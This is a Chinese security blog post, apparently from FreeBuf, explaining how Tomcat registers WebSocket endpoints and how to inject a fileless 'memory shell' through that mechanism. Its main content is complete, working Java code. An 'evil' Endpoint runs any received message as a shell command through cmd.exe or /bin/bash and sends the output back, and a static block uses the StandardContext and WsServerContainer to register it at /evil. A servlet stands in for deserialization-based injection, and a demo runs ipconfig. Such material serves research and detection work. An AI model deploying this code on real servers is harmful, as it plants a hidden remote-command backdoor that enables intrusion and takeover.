freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

再探WebSocket内存马(内存马系列篇八)
2022-10-01 20:52:41
所属地 四川省

写在前面

通过前面对tomcat中的websocket的支持的解读,我们对websocket这个全双工协议有了更深的理解,接下来我们需要学习建立在其上的一种内存马, tomcat-websocket内存马的实现。

这也是内存马系列文章的第八篇了。

前置

什么是tomcat Websocket?

相信只要跟过上一篇的源码,对这个流程并不陌生,这里也简单总结一下,

WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。

建立通信的两端主要是Endpoint对象,

一个为ServerEndpoint一个为ClientEndpoint, 他们分别为服务端和客户端,

当客户端发起一个通信请求的时候,另一端在建立连接之后相应创建了一个ServerEndpoint对象,

因为都是Endpoint对象,我们可以看看Endpoint类,

image-20220927172338131.png

这是一个抽象类,存在三个方法onOpen / onClose / onError,分别是在通信建立 / 通信关闭 / 发生错误的是调用调用不同的逻辑。

Tomcat socket的简单案例

Tomcat中存在有两种方法进行实现:

  1. 使用@ServerEndpoint注解的方式;

  2. 继承抽象类Endpoint的方式。

我们使用注解的方式进行搭建。

官方文档
https://docs.oracle.com/javaee/7/api/javax/websocket/server/ServerEndpoint.html

package pres.test.momenshell;

import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;

@ServerEndpoint("/websocket")
public class WebsocketTest {
    private Session session;

    @OnOpen
    public void onOpen(Session session) {
        this.session = session;
        this.session.getAsyncRemote().sendText("onOpen......");
    }

    @OnMessage
    public void onMessage(String message) {
        this.session.getAsyncRemote().sendText("onMessage...." + message);
    }

    @OnClose
    public void onClose() {
        System.out.println("onClose.....");
    }

    @OnError
    public void onError(Throwable throwable) {
        throwable.printStackTrace();
    }
}

image-20220927174454903.png

在websocket连接成功之后,成功发送了onOpen....并且,在客户端可以成功发送消息。

image-20220927180207656.png

如上图,在断开本次链接之后将会在服务段打印onClose...标识,

同样也可以通过继承Endpoint的方式实现。

需要实现多个类:

  1. Endpoint实现类:主要实现3个标准生命周期方法(onOpen、onError、onClose),添加MessageHandler对象;

  2. MessageHandler实现类:实现onMessage方法;

  3. ServerApplicationConfig实现类:完成Endpoint的URI路径注册。

package pres.test.momenshell;

import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.IOException;

public class WebsocketTestPlus extends Endpoint {
    private Session session;

    @Override
    public void onOpen(Session session, EndpointConfig endpointConfig) {
        this.session = session;
        session.addMessageHandler(new MessageHandler.Whole<String>() {    //匿名类实现MessageHandler
            @Override
            public void onMessage(String message) {
                System.out.println("onMessage: "+message);
            }
        });
        System.out.println("已连接WebsocketServer: " + session.toString());
        try {
            session.getBasicRemote().sendText("a");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
package pres.test.momenshell;

import javax.websocket.Endpoint;
import javax.websocket.server.ServerApplicationConfig;
import javax.websocket.server.ServerEndpointConfig;
import java.util.HashSet;
import java.util.Set;

public class EndpointApplicationConfig implements ServerApplicationConfig {
    @Override
    public Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> set) {


        Set<ServerEndpointConfig> result = new HashSet<>();
        if (set.contains(WebsocketTestPlus.class)) {
            result.add(ServerEndpointConfig.Builder.create(WebsocketTestPlus.class, "/websocket2").build());
        }
        return result;
    }

    @Override
    public Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> set) {
        System.out.println(set);
        return set;
    }
}

同样在建立连接和发送消息的过程中有回显。

image-20220927185913979.png

流程分析

接下来我们简单分析一下过程,

在Tomcat启动的时候,将会对classpath下的jar进行扫描,扫描包中的META-INF/services/javax.servlet.ServletContainerInitializer文件。

对于websocket来说,其内容为org.apache.tomcat.websocket.server.WsSci

image-20220927191909271.png

所以将会加载该类,

image-20220927192025378.png

该类是ServletContainerInitializer的实现类,

首先调用init进行初始化操作WsServerContainer对象,

image-20220927192809009.png

创建了两个监听器,

其余多的上一篇中已经详细的解读了一遍代码,这里就简单说说就行了。

image-20220927193733442.png

最后将会将调用addEndpoint方法将通过ServerApplicationConfig对象获取的ServerEndpointConfig对象的集合添加到WsServerContainer中去。

image-20220927194012203.png

在取出了其中配置的路由之后生成了一个mapping映射。image-20220927194223284.png

在这里完成了路由的注册,

值得我们注意的是在创建WsServerContainer对象的时候,在其构造方法中添加过滤器。

image-20220927194931319.png

在所有放回所有资源的同时会被其拦截,判断是否注册有该路由的Endpoint。

image-20220927195335162.png

通过调用findMapping方法获取对应的Endpoint,如果为空,就通过chain.doFilter将请求放回,如果存在这个Endpoint,就会进行协议升级。

正文

注入方式

从上面的简单流程分析中,我们知道,想要注册一个Endpoint需要通过调用WsServerContainer#addEndpoint方法进行添加,自然首要的目的是需要动态获取到WsServerContainer对象。

我们可以注意到,在前面调用init方法是的时候设置了一个属性,

image-20220927195826805.png

属性值就是为我们创建的WsServerContainer对象,所以我们只需要在线程中获取到servletContext这个上下文,就能够通过它的属性javax.websocket.server.ServerContainer来获取对应的WsServerContainer对象,进而能够添加恶意的Endpoint。

那么如果构造一个恶意的Endpoint呢?

我们只需要创建一个继承Endpoint的子类,并且需要实现MessageHandler接口,重写其中的onMessageonOpen等方法。

所以其注入流程就是:

  1. 实现Endpoint,MessageHandler.onMessage中实现命令执行的功能;

  2. 为Endpoint创建ServerEndpointConfig;

  3. 依次获取ServletConext和WsServerContainer;

  4. 通过WsServerContainer.addEndpoint添加ServerEndpointConfig。

实现内存马

我们首先编写恶意的Endpoint类

package pres.test.momenshell;

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;

public class evil extends Endpoint implements MessageHandler.Whole<String> {
    private Session session;

    public void onMessage(String message) {
        try {
            boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
            Process exec;
            if (iswin) {
                exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
            } else {
                exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
            }

            InputStream ips = exec.getInputStream();
            StringBuilder sb = new StringBuilder();

            int i;
            while((i = ips.read()) != -1) {
                sb.append((char)i);
            }

            ips.close();
            exec.waitFor();
            this.session.getBasicRemote().sendText(sb.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void onOpen(Session session, EndpointConfig config) {
        this.session = session;
        this.session.addMessageHandler(this);
    }
}

其中在onOpen方法中加入了MessageHandler对象,并且在其onMessage中实现了我们想要的命令执行的功能。

之后我们创建一个ServerEndpointConfig对象添加路由

ServerEndpointConfig build = ServerEndpointConfig.Builder.create(evil.class, "/evil").build();

再然后获取存放WsServerContainer对象的那个属性

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());

最后将恶意的Endpoint添加进入其中

attribute.addEndpoint(build);

实操

首先创建一个Servlet

package pres.test.momenshell;

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.IOException;
import java.io.InputStream;

public class AddWebSocket extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            Class.forName("pres.test.momenshell.evil");
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

配置好对应的mapping映射

编写好evil类

package pres.test.momenshell;

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;

public class evil extends Endpoint implements MessageHandler.Whole<String> {
    static {
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
        ServerEndpointConfig build = ServerEndpointConfig.Builder.create(evil.class, "/evil").build();
        WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
        try {
            attribute.addEndpoint(build);
        } catch (DeploymentException e) {
            throw new RuntimeException(e);
        }
    }

    private Session session;

    public void onMessage(String message) {
        try {
            boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
            Process exec;
            if (iswin) {
                exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
            } else {
                exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
            }

            InputStream ips = exec.getInputStream();
            StringBuilder sb = new StringBuilder();

            int i;
            while((i = ips.read()) != -1) {
                sb.append((char)i);
            }

            ips.close();
            exec.waitFor();
            this.session.getBasicRemote().sendText(sb.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void onOpen(Session session, EndpointConfig config) {
        this.session = session;
        this.session.addMessageHandler(this);
    }
}

上面的servlet主要是模拟反序列化等操作写入Websocket内存马

image-20220927224613971.png

能够成功执行ipconfig命令

总结

创建该内存马的流程:

  1. 获取当前的StandardContext;

  2. 通过StandardContext获取ServerContainer;

  3. 撰写一个恶意Endpoint类,并且实现了MessageHandler接口;

  4. 创建ServerEndpointConfig,给出对应的路由映射;

  5. 调用ServerContainer.addEndpoint方法,添加恶意类。

Ref

https://xz.aliyun.com/t/11566

# web安全 # 漏洞分析
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录